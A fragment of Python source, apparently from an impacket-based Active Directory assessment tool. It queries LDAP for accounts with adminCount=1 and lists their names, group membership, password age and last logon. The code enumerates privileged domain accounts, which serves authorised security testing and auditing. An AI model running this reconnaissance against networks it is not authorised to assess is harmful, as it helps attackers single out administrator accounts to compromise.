|
|
self.logger.error("No entries found!")
|
|
return
|
|
|
|
def admin_count(self):
|
|
# Building the search filter
|
|
searchFilter = "(adminCount=1)"
|
|
attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
answers = []
|
|
logging.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
if len(answers)>0:
|
|
logging.debug(answers)
|
|
for value in answers:
|
|
self.logger.highlight(value[0])
|
|
else:
|
|
self.logger.error("No entries found!")
|
|
return
|
|
|